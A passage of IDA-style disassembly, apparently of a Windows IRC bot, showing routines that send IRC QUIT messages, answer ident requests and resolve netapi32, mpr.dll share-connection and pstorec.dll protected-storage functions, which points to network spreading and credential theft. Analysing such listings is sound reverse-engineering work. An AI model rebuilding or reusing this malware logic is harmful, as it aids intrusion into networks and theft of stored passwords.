mov edi, offset aException_flt ; "EXCEPTION_FLT"
loc_402924: ; CODE XREF: sub_40287C+57j
; sub_40287C+5Ej ...
cmp dword ptr [edx+4], 1
mov edx, offset aRestarting ; "Restarting"
jz short loc_402934
mov edx, offset aContinuing ; "Continuing"
loc_402934: ; CODE XREF: sub_40287C+B1j
mov eax, [esi+4]
push edx
push edi
push ecx
push dword ptr [eax+0C0h]
push dword ptr [eax+0B8h]
push dword ptr [eax+0C4h]
push dword ptr [eax+0B4h]
push dword ptr [eax+9Ch]
push dword ptr [eax+0A0h]
push dword ptr [eax+0A8h]
push dword ptr [eax+0ACh]
push dword ptr [eax+0A4h]
push dword ptr [eax+0B0h]
lea eax, [ebx+1]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push offset dword_41364C
push offset dword_418E50
call sub_409659
add esp, 48h
xor edi, edi
loc_402994: ; CODE XREF: sub_40287C+27j
inc ebx
cmp ebx, 64h
jz short loc_4029C0
mov eax, [esi]
cmp dword ptr [eax+4], 1
jz short loc_4029C0
cmp dword ptr [eax], 80000003h
jnz short loc_4029BB
mov esi, [esi+4]
inc dword ptr [esi+0B8h]
or eax, 0FFFFFFFFh
loc_4029B6: ; CODE XREF: sub_40287C+142j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4029BB: ; CODE XREF: sub_40287C+12Cj
push 1
pop eax
jmp short loc_4029B6
; ---------------------------------------------------------------------------
loc_4029C0: ; CODE XREF: sub_40287C+11Cj
; sub_40287C+124j
lea eax, [ebp+var_104]
push 104h
push eax
push edi
call dword_412094 ; GetModuleHandleA
push eax
call dword_412098 ; GetModuleFileNameA
test eax, eax
jz short loc_402A00
push edi
push edi
lea eax, [ebp+var_104]
push edi
push eax
push offset aOpen ; "open"
push edi
call dword_4121E4
cmp eax, 20h
ja short loc_402A00
push offset aQuitExitting ; "QUIT :exitting"
jmp short loc_402A05
; ---------------------------------------------------------------------------
loc_402A00: ; CODE XREF: sub_40287C+160j
; sub_40287C+17Bj
push offset aQuitRestarting ; "QUIT :restarting"
loc_402A05: ; CODE XREF: sub_40287C+182j
call sub_4097DB
pop ecx
push edi
call dword_412064 ; ExitProcess
sub_40287C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A12 proc near ; DATA XREF: sub_402D7B:loc_402EACo
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
xor ebx, ebx
cmp edi, ebx
jz short loc_402A57
mov eax, [edi+4]
cmp eax, ebx
jz short loc_402A37
cmp eax, 2
jz short loc_402A37
mov esi, 273Fh
jmp short loc_402A49
; ---------------------------------------------------------------------------
loc_402A37: ; CODE XREF: sub_402A12+17j
; sub_402A12+1Cj
mov eax, [edi+8]
cmp eax, 1
jz short loc_402A57
cmp eax, 2
jz short loc_402A57
mov esi, 273Ch
loc_402A49: ; CODE XREF: sub_402A12+23j
push esi
call dword_412244 ; WSASetLastError
mov eax, esi
jmp loc_402C0A
; ---------------------------------------------------------------------------
loc_402A57: ; CODE XREF: sub_402A12+10j
; sub_402A12+2Bj ...
cmp [ebp+arg_0], ebx
jnz loc_402AF7
push 30h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
cmp esi, ebx
jz loc_402B3E
push 30h
push ebx
push esi
call sub_4114E8 ; memset
push 10h
lea eax, [ebp+var_18]
pop ebx
push ebx
push 0
push eax
call sub_4114E8 ; memset
add esp, 18h
cmp [ebp+arg_4], 0
mov [ebp+var_18], 2
jz short loc_402AAD
push [ebp+arg_4]
call sub_41151C ; atoi
pop ecx
push eax
call dword_412248 ; htons
mov [ebp+var_16], ax
loc_402AAD: ; CODE XREF: sub_402A12+85j
test edi, edi
mov dword ptr [esi+4], 2
jz short loc_402ABD
mov eax, [edi+8]
jmp short loc_402AC0
; ---------------------------------------------------------------------------
loc_402ABD: ; CODE XREF: sub_402A12+A4j
push 1
pop eax
loc_402AC0: ; CODE XREF: sub_402A12+A9j
test edi, edi
mov [esi+8], eax
jz short loc_402ACC
mov eax, [edi+0Ch]
jmp short loc_402ACF
; ---------------------------------------------------------------------------
loc_402ACC: ; CODE XREF: sub_402A12+B3j
push 6
pop eax
loc_402ACF: ; CODE XREF: sub_402A12+B8j
mov [esi+0Ch], eax
lea ecx, [ebp+var_18]
lea eax, [esi+20h]
push ebx
push ecx
mov [esi+10h], ebx
mov [esi+18h], eax
and [ebp+var_14], 0
push eax
call sub_4114D0 ; memcpy
mov eax, [ebp+arg_C]
add esp, 0Ch
mov [eax], esi
jmp loc_402C08
; ---------------------------------------------------------------------------
loc_402AF7: ; CODE XREF: sub_402A12+48j
push [ebp+arg_0]
call dword_41224C ; gethostbyname
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_402B20
mov eax, [eax+0Ch]
xor edi, edi
mov [ebp+arg_0], edi
loc_402B0F: ; CODE XREF: sub_402A12+105j
cmp [eax], ebx
jz short loc_402B19
inc edi
add eax, 4
jmp short loc_402B0F
; ---------------------------------------------------------------------------
loc_402B19: ; CODE XREF: sub_402A12+FFj
cmp edi, ebx
mov [ebp+arg_0], edi
jnz short loc_402B2A
loc_402B20: ; CODE XREF: sub_402A12+F3j
mov eax, 2AFBh
jmp loc_402C0A
; ---------------------------------------------------------------------------
loc_402B2A: ; CODE XREF: sub_402A12+10Cj
lea esi, [edi+edi*2]
shl esi, 4
push esi
call sub_4114C4 ; malloc
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_402B4E
loc_402B3E: ; CODE XREF: sub_402A12+5Aj
push 8
call dword_412244 ; WSASetLastError
push 8
pop eax
jmp loc_402C0A
; ---------------------------------------------------------------------------
loc_402B4E: ; CODE XREF: sub_402A12+12Aj
push esi
push ebx
push eax
call sub_4114E8 ; memset
push 10h
lea eax, [ebp+var_28]
push ebx
push eax
call sub_4114E8 ; memset
add esp, 18h
cmp [ebp+arg_4], ebx
mov [ebp+var_28], 2
jz short loc_402B84
push [ebp+arg_4]
call sub_41151C ; atoi
pop ecx
push eax
call dword_412248 ; htons
mov [ebp+var_26], ax
loc_402B84: ; CODE XREF: sub_402A12+15Cj
test edi, edi
jbe short loc_402C00
mov eax, [ebp+var_4]
lea esi, [eax+8]
loc_402B8E: ; CODE XREF: sub_402A12+1ECj
mov eax, [ebp+arg_8]
test eax, eax
jz short loc_402B99
mov eax, [eax]
jmp short loc_402B9C
; ---------------------------------------------------------------------------
loc_402B99: ; CODE XREF: sub_402A12+181j
push 4
pop eax
loc_402B9C: ; CODE XREF: sub_402A12+185j
mov ecx, [ebp+arg_8]
lea edi, [esi-8]
test ecx, ecx
mov [edi], eax
mov dword ptr [esi-4], 2
jz short loc_402BB4
mov eax, [ecx+8]
jmp short loc_402BB7
; ---------------------------------------------------------------------------
loc_402BB4: ; CODE XREF: sub_402A12+19Bj
push 1
pop eax
loc_402BB7: ; CODE XREF: sub_402A12+1A0j
test ecx, ecx
mov [esi], eax
jz short loc_402BC2
mov eax, [ecx+0Ch]
jmp short loc_402BC5
; ---------------------------------------------------------------------------
loc_402BC2: ; CODE XREF: sub_402A12+1A9j
push 6
pop eax
loc_402BC5: ; CODE XREF: sub_402A12+1AEj
mov edx, [ebp+var_8]
push 10h
mov [esi+4], eax
pop ecx
lea eax, [esi+18h]
mov [esi+8], ecx
mov [esi+10h], eax
mov edx, [edx+0Ch]
push ecx
lea ecx, [ebp+var_28]
mov edx, [edx+ebx*4]
push ecx
push eax
mov edx, [edx]
mov [ebp+var_24], edx
call sub_4114D0 ; memcpy
add esp, 0Ch
test ebx, ebx
jz short loc_402BF7
mov [esi-1Ch], edi
loc_402BF7: ; CODE XREF: sub_402A12+1E0j
inc ebx
add esi, 30h
cmp ebx, [ebp+arg_0]
jb short loc_402B8E
loc_402C00: ; CODE XREF: sub_402A12+174j
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_4]
mov [eax], ecx
loc_402C08: ; CODE XREF: sub_402A12+E0j
xor eax, eax
loc_402C0A: ; CODE XREF: sub_402A12+40j
; sub_402A12+113j ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_402A12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402C11 proc near ; DATA XREF: sub_402D7B+13Bo
var_424 = byte ptr -424h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 424h
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_8], edi
jnz short loc_402C29
cmp [ebp+arg_10], edi
jz short loc_402C34
loc_402C29: ; CODE XREF: sub_402C11+11j
mov ebx, [ebp+arg_18]
test ebx, 0FFFFFFE0h
jz short loc_402C3E
loc_402C34: ; CODE XREF: sub_402C11+16j
mov esi, 2726h
jmp loc_402D2E
; ---------------------------------------------------------------------------
loc_402C3E: ; CODE XREF: sub_402C11+21j
mov esi, [ebp+arg_0]
cmp word ptr [esi], 2
jz short loc_402C51
mov esi, 273Fh
jmp loc_402D2E
; ---------------------------------------------------------------------------
loc_402C51: ; CODE XREF: sub_402C11+34j
cmp [ebp+arg_8], edi
jz loc_402CF4
push dword ptr [esi+4]
add esi, 4
call dword_412230 ; inet_ntoa
cmp eax, edi
jnz short loc_402C72
or eax, 0FFFFFFFFh
jmp loc_402D60
; ---------------------------------------------------------------------------
loc_402C72: ; CODE XREF: sub_402C11+57j
mov edi, 401h
push edi
push eax
lea eax, [ebp+var_424]
push eax
call sub_4059C2
add esp, 0Ch
test bl, 2
jnz short loc_402CE1
test bl, 4
jz short loc_402CC5
loc_402C92: ; CODE XREF: sub_402C11+C0j
; sub_402C11+C6j
push 0
push 4
push esi
call dword_412234 ; gethostbyaddr
mov esi, eax
test esi, esi
jz short loc_402CD9
push dword ptr [esi]
call sub_4114BE ; strlen
inc eax
pop ecx
cmp eax, [ebp+arg_C]
ja short loc_402D29
push edi
lea eax, [ebp+var_424]
push dword ptr [esi]
push eax
call sub_4059C2
add esp, 0Ch
jmp short loc_402CF4
; ---------------------------------------------------------------------------
loc_402CC5: ; CODE XREF: sub_402C11+7Fj
test bl, 1
jz short loc_402CE1
mov eax, [esi]
cmp eax, 7F000001h
jz short loc_402C92
test eax, eax
jnz short loc_402CE1
jmp short loc_402C92
; ---------------------------------------------------------------------------
loc_402CD9: ; CODE XREF: sub_402C11+90j
call dword_412238 ; WSAGetLastError
jmp short loc_402D60
; ---------------------------------------------------------------------------
loc_402CE1: ; CODE XREF: sub_402C11+7Aj
; sub_402C11+B7j ...
lea eax, [ebp+var_424]
push eax
call sub_4114BE ; strlen
inc eax
pop ecx
cmp eax, [ebp+arg_C]
ja short loc_402D29
loc_402CF4: ; CODE XREF: sub_402C11+43j
; sub_402C11+B2j
cmp [ebp+arg_10], 0
jz short loc_402D47
lea eax, [ebp+var_20]
push 0Ah
push eax
mov eax, [ebp+arg_0]
mov ax, [eax+2]
push eax
call dword_412248 ; htons
movzx eax, ax
push eax
call sub_41192A ; _itoa
lea eax, [ebp+var_20]
push eax
call sub_4114BE ; strlen
add esp, 10h
inc eax
cmp eax, [ebp+arg_14]
jbe short loc_402D39
loc_402D29: ; CODE XREF: sub_402C11+9Ej
; sub_402C11+E1j
mov esi, 2747h
loc_402D2E: ; CODE XREF: sub_402C11+28j
; sub_402C11+3Bj
push esi
call dword_412244 ; WSASetLastError
mov eax, esi
jmp short loc_402D60
; ---------------------------------------------------------------------------
loc_402D39: ; CODE XREF: sub_402C11+116j
lea eax, [ebp+var_20]
push eax
push [ebp+arg_10]
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_402D47: ; CODE XREF: sub_402C11+E7j
cmp [ebp+arg_8], 0
jz short loc_402D5E
lea eax, [ebp+var_424]
push eax
push [ebp+arg_8]
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_402D5E: ; CODE XREF: sub_402C11+13Aj
xor eax, eax
loc_402D60: ; CODE XREF: sub_402C11+5Cj
; sub_402C11+CEj ...
pop edi
pop esi
pop ebx
leave
retn 1Ch
sub_402C11 endp
; =============== S U B R O U T I N E =======================================
sub_402D67 proc near ; DATA XREF: sub_402D7B+145o
arg_0 = dword ptr 4
cmp [esp+arg_0], 0
jz short locret_402D78
push [esp+arg_0]
call sub_4114CA ; free
pop ecx
locret_402D78: ; CODE XREF: sub_402D67+5j
retn 4
sub_402D67 endp
; =============== S U B R O U T I N E =======================================
sub_402D7B proc near ; CODE XREF: sub_4111E8+B8p
push esi
push edi
mov edi, dword_41205C
push offset aKernel32_dll ; "kernel32.dll"
call edi ; LoadLibraryA
mov esi, dword_412060
test eax, eax
jz short loc_402DA1
push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
push eax
call esi ; GetProcAddress
mov dword_4191E0, eax
loc_402DA1: ; CODE XREF: sub_402D7B+17j
push ebx
push offset aNetapi32_dll ; "netapi32.dll"
call edi ; LoadLibraryA
mov ebx, eax
test ebx, ebx
jz short loc_402E24
push offset aNetusegetinfo ; "NetUseGetInfo"
push ebx
call esi ; GetProcAddress
push offset aNetuseadd ; "NetUseAdd"
push ebx
mov dword_4191E8, eax
call esi ; GetProcAddress
push offset aNetusedel ; "NetUseDel"
push ebx
mov dword_4191EC, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push ebx
mov dword_4191F0, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push ebx
mov dword_4191F4, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push ebx
mov dword_4191F8, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push ebx
mov dword_4191FC, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push ebx
mov dword_419200, eax
call esi ; GetProcAddress
push offset aNetaddalternat ; "NetAddAlternateComputerName"
push ebx
mov dword_419204, eax
call esi ; GetProcAddress
mov dword_419208, eax
loc_402E24: ; CODE XREF: sub_402D7B+32j
push offset aMpr_dll ; "mpr.dll"
call edi ; LoadLibraryA
mov ebx, eax
test ebx, ebx
jz short loc_402E65
push offset aWnetaddconnect ; "WNetAddConnection2A"
push ebx
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push ebx
mov dword_41920C, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push ebx
mov dword_419210, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push ebx
mov dword_419214, eax
call esi ; GetProcAddress
mov dword_419218, eax
loc_402E65: ; CODE XREF: sub_402D7B+B4j
push offset aWs2_32_dll ; "ws2_32.dll"
call edi ; LoadLibraryA
mov ebx, eax
push offset aGetaddrinfo ; "getaddrinfo"
push ebx
call esi ; GetProcAddress
push offset aGetnameinfo ; "getnameinfo"
push ebx
mov dword_419224, eax
call esi ; GetProcAddress
push offset aFreeaddrinfo ; "freeaddrinfo"
push ebx
mov dword_419228, eax
call esi ; GetProcAddress
cmp dword_419224, 0
mov dword_41922C, eax
pop ebx
jz short loc_402EAC
cmp dword_419228, 0
jz short loc_402EAC
test eax, eax
jnz short loc_402ECA
loc_402EAC: ; CODE XREF: sub_402D7B+122j
; sub_402D7B+12Bj
mov dword_419224, offset sub_402A12
mov dword_419228, offset sub_402C11
mov dword_41922C, offset sub_402D67
loc_402ECA: ; CODE XREF: sub_402D7B+12Fj
push offset aPstorec_dll ; "pstorec.dll"
call edi ; LoadLibraryA
test eax, eax
jz short loc_402EE2
push offset aPstorecreatein ; "PStoreCreateInstance"
push eax
call esi ; GetProcAddress
mov dword_419220, eax
loc_402EE2: ; CODE XREF: sub_402D7B+158j
push offset aWininet_dll ; "wininet.dll"
call edi ; LoadLibraryA
test eax, eax
jz short loc_402EFA
push offset aInternetgetcon ; "InternetGetConnectedStateExA"
push eax
call esi ; GetProcAddress
mov dword_41921C, eax
loc_402EFA: ; CODE XREF: sub_402D7B+170j
pop edi
pop esi
retn
sub_402D7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402EFD proc near ; DATA XREF: sub_4030A7+65o
var_121C = byte ptr -121Ch
var_21C = dword ptr -21Ch
var_218 = byte ptr -218h
var_212 = byte ptr -212h
var_6C = byte ptr -6Ch
var_48 = byte ptr -48h
var_24 = byte ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 121Ch
call sub_411540
push ebx
push 1ADh
push [ebp+arg_0]
lea eax, [ebp+var_21C]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_218]
push 1
push eax
call sub_403644
mov ebx, eax
add esp, 18h
test ebx, ebx
jnz short loc_402F51
push [ebp+var_21C]
call sub_406E6F
pop ecx
xor eax, eax
jmp loc_4030A2
; ---------------------------------------------------------------------------
loc_402F51: ; CODE XREF: sub_402EFD+3Fj
push esi
lea eax, [ebp+var_218]
push edi
push eax
mov eax, [ebp+var_21C]
push dword ptr [eax]
lea eax, [ebp+var_212]
push offset dword_4139C0
push eax
call sub_4096CB
mov esi, 3E8h
push esi
push ebx
call sub_403767
add esp, 18h
loc_402F82: ; CODE XREF: sub_402EFD+189j
mov edi, eax
mov eax, [ebp+var_21C]
cmp dword ptr [eax+4], 0
jnz loc_40308B
test edi, edi
jz loc_40308B
cmp edi, 0FFFFFFFFh
jz loc_40307D
lea eax, [ebp+var_121C]
push 1000h
push eax
push edi
call sub_403DB2
add esp, 0Ch
test eax, eax
jz loc_403076
cmp eax, 0FFFFFFFFh
jz loc_403076
lea eax, [ebp+var_121C]
push eax
call sub_4114BE ; strlen
cmp eax, 10h
pop ecx
ja loc_403076
cmp byte_41A268, 0
jz short loc_402FFC
lea eax, [ebp+var_24]
push offset byte_41A268
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
jmp short loc_40301E
; ---------------------------------------------------------------------------
loc_402FFC: ; CODE XREF: sub_402EFD+EBj
lea eax, [ebp+var_6C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_48]
push eax
call sub_404A70
lea eax, [ebp+var_24]
push eax
push offset byte_41A268
call sub_4114B8 ; _mbscpy
add esp, 14h
loc_40301E: ; CODE XREF: sub_402EFD+FDj
lea eax, [ebp+var_121C]
push offset aUseridUnix ; " : USERID : UNIX : "
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_121C]
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_121C]
push offset asc_413214 ; "\r\n"
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_121C]
push eax
call sub_4114BE ; strlen
inc eax
push eax
lea eax, [ebp+var_121C]
push eax
push edi
call sub_403D9D
push edi
call sub_403D70
add esp, 2Ch
jmp short loc_40307D
; ---------------------------------------------------------------------------
loc_403076: ; CODE XREF: sub_402EFD+BFj
; sub_402EFD+C8j ...
push edi
call sub_403D70
pop ecx
loc_40307D: ; CODE XREF: sub_402EFD+A2j
; sub_402EFD+177j
push esi
push ebx
call sub_403767
pop ecx
pop ecx
jmp loc_402F82
; ---------------------------------------------------------------------------
loc_40308B: ; CODE XREF: sub_402EFD+91j
; sub_402EFD+99j
push ebx
call sub_40392A
push [ebp+var_21C]
call sub_406E6F
pop ecx
xor eax, eax
pop ecx
pop edi
pop esi
loc_4030A2: ; CODE XREF: sub_402EFD+4Fj
pop ebx
leave
retn 4
sub_402EFD endp
; =============== S U B R O U T I N E =======================================
sub_4030A7 proc near ; CODE XREF: sub_407A76+92Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
test ebx, ebx
push esi
jz short loc_4030BC
push ebx
call sub_4032A7
test eax, eax
pop ecx
jnz short loc_4030C1
loc_4030BC: ; CODE XREF: sub_4030A7+8j
mov ebx, offset dword_413A14
loc_4030C1: ; CODE XREF: sub_4030A7+13j
push 1ADh
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40311A
push edi
push 6
lea eax, [esi+4]
push ebx
push eax
call sub_4059C2
mov edi, [esp+18h+arg_0]
lea eax, [esi+0Ah]
push edi
push eax
call sub_40457C
add esp, 14h
test edi, edi
jz short loc_403101
cmp byte ptr [edi+18Bh], 0
jz short loc_403101
xor eax, eax
jmp short loc_403104
; ---------------------------------------------------------------------------
loc_403101: ; CODE XREF: sub_4030A7+4Bj
; sub_4030A7+54j
push 1
pop eax
loc_403104: ; CODE XREF: sub_4030A7+58j
push ebx
push offset dword_4139F4
push eax
push esi
push offset sub_402EFD
call sub_406D58
add esp, 14h
pop edi
loc_40311A: ; CODE XREF: sub_4030A7+29j
pop esi
pop ebx
retn
sub_4030A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40311D proc near ; CODE XREF: sub_40C135+5Ep
; sub_40CAA1+133p
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 104h
push esi
mov esi, 104h
push [ebp+arg_0]
lea eax, [ebp+var_104]
push offset dword_413A2C
push esi
push eax
call sub_41152E ; _snprintf
add esp, 10h
lea eax, [ebp+var_104]
push esi
push [ebp+arg_4]
push 0FFFFFFFFh
push eax
push 0
push 0
call dword_412058 ; MultiByteToWideChar
pop esi
leave
retn
sub_40311D endp
; =============== S U B R O U T I N E =======================================
sub_40315E proc near ; CODE XREF: sub_403EA9+539p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor edx, edx
cmp esi, 1
jbe short loc_403182
mov eax, [esp+4+arg_0]
mov ecx, esi
push edi
shr ecx, 1
loc_403173: ; CODE XREF: sub_40315E+1Fj
movzx edi, word ptr [eax]
add edx, edi
inc eax
inc eax
dec esi
dec esi
dec ecx
jnz short loc_403173
pop edi
jmp short loc_403186
; ---------------------------------------------------------------------------
loc_403182: ; CODE XREF: sub_40315E+Aj
mov eax, [esp+4+arg_0]
loc_403186: ; CODE XREF: sub_40315E+22j
test esi, esi
pop esi
jz short loc_403190
movzx eax, byte ptr [eax]
add edx, eax
loc_403190: ; CODE XREF: sub_40315E+2Bj
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40315E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4031A7 proc near ; CODE XREF: sub_403EA9+520p
; sub_407A76+F8Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
dec eax
push esi
dec eax
push edi
mov ebx, 0FEh
jz short loc_4031F0
dec eax
jz short loc_4031D4
dec eax
jnz short loc_40320C
push ebx
push 1
call sub_40B459
mov edi, eax
mov eax, [ebp+arg_0]
pop ecx
and al, 0
pop ecx
or edi, eax
jmp short loc_4031D7
; ---------------------------------------------------------------------------
loc_4031D4: ; CODE XREF: sub_4031A7+13j
mov edi, [ebp+arg_0]
loc_4031D7: ; CODE XREF: sub_4031A7+2Bj
push ebx
push 1
call sub_40B459
mov esi, eax
pop ecx
shl esi, 8
and edi, 0FFFF00FFh
pop ecx
or esi, edi
jmp short loc_4031F3
; ---------------------------------------------------------------------------
loc_4031F0: ; CODE XREF: sub_4031A7+10j
mov esi, [ebp+arg_0]
loc_4031F3: ; CODE XREF: sub_4031A7+47j
push ebx
push 1
call sub_40B459
mov edi, eax
pop ecx
shl edi, 10h
and esi, 0FF00FFFFh
pop ecx
or edi, esi
jmp short loc_40320F
; ---------------------------------------------------------------------------
loc_40320C: ; CODE XREF: sub_4031A7+16j
mov edi, [ebp+arg_0]
loc_40320F: ; CODE XREF: sub_4031A7+63j
push ebx
push 1
call sub_40B459
pop ecx
and edi, 0FFFFFFh
shl eax, 18h
pop ecx
or eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4031A7 endp
; =============== S U B R O U T I N E =======================================
sub_403229 proc near ; CODE XREF: sub_4032D2+Ap
; sub_40338B+13p
arg_0 = dword ptr 4
push 0Ah
push [esp+4+arg_0]
push 0FFFFh
push 401h
call sub_40B459
pop ecx
pop ecx
push eax
call sub_41192A ; _itoa
add esp, 0Ch
retn
sub_403229 endp
; =============== S U B R O U T I N E =======================================
sub_40324A proc near ; CODE XREF: sub_409918+479p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 4
push offset dword_413A50
push esi
call sub_411570 ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_403268
loc_403263: ; CODE XREF: sub_40324A+30j
; sub_40324A+44j
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_403268: ; CODE XREF: sub_40324A+17j
push 4
push offset dword_413A48
push esi
call sub_411570 ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_403263
push 8
push offset dword_413A3C
push esi
call sub_411570 ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_403263
push 3
push offset dword_413A38
push esi
call sub_411570 ; strncmp
add esp, 0Ch
neg eax
sbb eax, eax
pop esi
inc eax
retn
sub_40324A endp
; =============== S U B R O U T I N E =======================================
sub_4032A7 proc near ; CODE XREF: sub_402230+173p
; sub_4030A7+Bp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor eax, eax
loc_4032AD: ; CODE XREF: sub_4032A7+10j
cmp byte ptr [eax+ecx], 0
jz short loc_4032BC
inc eax
cmp eax, 6
jnz short loc_4032AD
loc_4032B9: ; CODE XREF: sub_4032A7+1Ej
; sub_4032A7+25j
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4032BC: ; CODE XREF: sub_4032A7+Aj
push ecx
call sub_41151C ; atoi
test eax, eax
pop ecx
jz short loc_4032B9
cmp eax, 0FFFFh
ja short loc_4032B9
push 1
pop eax
retn
sub_4032A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4032D2 proc near ; CODE XREF: sub_403338+9p
; sub_40656A:loc_406696p ...
var_8 = byte ptr -8
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp+var_8]
push esi
push eax
call sub_403229
lea eax, [ebp+var_8]
push 1
push eax
call sub_403644
mov esi, eax
add esp, 0Ch
test esi, esi
jnz short loc_4032FA
push 1
pop eax
jmp short loc_403330
; ---------------------------------------------------------------------------
loc_4032FA: ; CODE XREF: sub_4032D2+21j
push edi
push 0BB8h
lea eax, [ebp+var_8]
push 0
push eax
push offset dword_41A2E8
call sub_403C04
push esi
mov edi, eax
call sub_40392A
add esp, 14h
test edi, edi
jz short loc_403333
cmp edi, 0FFFFFFFFh
jz short loc_403333
push edi
xor esi, esi
call sub_403D92
pop ecx
loc_40332D: ; CODE XREF: sub_4032D2+64j
mov eax, esi
pop edi
loc_403330: ; CODE XREF: sub_4032D2+26j
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_403333: ; CODE XREF: sub_4032D2+4Bj
; sub_4032D2+50j
push 1
pop esi
jmp short loc_40332D
sub_4032D2 endp
; =============== S U B R O U T I N E =======================================
sub_403338 proc near ; CODE XREF: sub_40DE4C+1p
; sub_40EE23+182p ...
cmp dword_419634, 0
jnz short loc_403360
call sub_4032D2
push eax
push offset dword_419638
call sub_407227
push 1
push offset dword_419634
call sub_407227
add esp, 10h
loc_403360: ; CODE XREF: sub_403338+7j
mov eax, dword_419638
retn
sub_403338 endp
; =============== S U B R O U T I N E =======================================
sub_403366 proc near ; CODE XREF: sub_40338B+6p
; sub_403644+36p
push esi
push 0
push 1
push 17h
call dword_41222C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_403381
push esi
call sub_403D92
pop ecx
loc_403381: ; CODE XREF: sub_403366+12j
xor eax, eax
cmp esi, 0FFFFFFFFh
setnz al
pop esi
retn
sub_403366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40338B proc near ; CODE XREF: sub_405FF3:loc_40617Dp
var_8 = byte ptr -8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call sub_403366
test eax, eax
jz short loc_4033B7
lea eax, [ebp+var_8]
push eax
call sub_403229
lea eax, [ebp+var_8]
push 1
push eax
call sub_403644
mov esi, eax
add esp, 0Ch
test esi, esi
jnz short loc_4033BB
loc_4033B7: ; CODE XREF: sub_40338B+Dj
xor eax, eax
jmp short loc_4033F2
; ---------------------------------------------------------------------------
loc_4033BB: ; CODE XREF: sub_40338B+2Aj
push edi
push 0BB8h
lea eax, [ebp+var_8]
push 2
push eax
push offset dword_413A64
call sub_403C04
push esi
mov edi, eax
call sub_40392A
add esp, 14h
test edi, edi
jz short loc_4033F5
cmp edi, 0FFFFFFFFh
jz short loc_4033F5
push 1
pop esi
push edi
call sub_403D92
pop ecx
loc_4033EF: ; CODE XREF: sub_40338B+6Cj
mov eax, esi
pop edi
loc_4033F2: ; CODE XREF: sub_40338B+2Ej
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4033F5: ; CODE XREF: sub_40338B+53j
; sub_40338B+58j
xor esi, esi
jmp short loc_4033EF
sub_40338B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
